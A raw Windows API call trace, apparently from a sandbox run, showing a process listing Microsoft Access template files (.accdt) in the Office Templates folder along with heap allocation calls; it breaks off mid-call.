FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f97a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77f97a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x510d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Details.accdt", cAlternateFileName="")) returned 1 [0079.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3bf0 [0079.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228b90 [0079.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.895] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8051b500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8051b500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x53d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.accdt", cAlternateFileName="")) returned 1 [0079.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3c10 [0079.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228c98 [0079.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.896] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92335800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92335800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xc660, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="")) returned 1 [0079.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3c30 [0079.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228da0 [0079.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.897] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f504700, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f504700, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6072, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.accdt", cAlternateFileName="")) returned 1 [0079.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3c50 [0079.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228ea8 [0079.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.898] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb000bd00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb000bd00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x50d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media.accdt", cAlternateFileName="")) returned 1 [0079.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3c70 [0079.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228fb0 [0079.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.899] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b13300, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0b13300, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5465, dwReserved0=0x0, dwReserved1=0x0, cFileName="Msgbox.accdt", cAlternateFileName="")) returned 1 [0079.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3c90 [0079.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12290b8 [0079.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.900] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0307c00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0307c00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x60b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tabs.accdt", cAlternateFileName="")) returned 1 [0079.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3cb0 [0079.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12291c0 [0079.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.901] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e0f200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0e0f200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xb315, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="")) returned 1 [0079.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3cd0 [0079.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c80) returned 0x1234b40 [0079.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122eef8) returned 1 [0079.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.903] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="")) returned 1 [0079.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3cf0 [0079.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123a7e0 [0079.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.905] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="")) returned 0 [0079.905] GetLastError () returned 0x12 [0079.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0079.905] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="")) returned 1 [0079.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6005, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Top.accdt", cAlternateFileName="")) returned 1 [0079.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4385be00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fc9050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4385be00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6306, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Right.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bddf900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bddf900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x63ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Top.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9bb00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57c9bb00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6aa00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64e6aa00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4c444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f97a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77f97a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x510d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Details.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8051b500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8051b500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x53d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92335800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92335800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xc660, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f504700, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f504700, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6072, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb000bd00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb000bd00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x50d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b13300, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0b13300, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5465, dwReserved0=0x0, dwReserved1=0x0, cFileName="Msgbox.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0307c00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0307c00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x60b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tabs.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e0f200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0e0f200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xb315, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="")) returned 1 [0079.906] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="")) returned 0 [0079.906] GetLastError () returned 0x12 [0079.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcf18) returned 1 [0079.906] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1227b10) returned 1 [0079.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="")) returned 1 [0079.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0xf8196, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sales Pipeline.accdt", cAlternateFileName="")) returned 1 [0079.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8694e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8694e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7d017, dwReserved0=0x0, dwReserved1=0x0, cFileName="Students.accdt", cAlternateFileName="")) returned 1 [0079.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2e0200, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed2e0200, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x84e69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="")) returned 1 [0079.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 1 [0079.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, 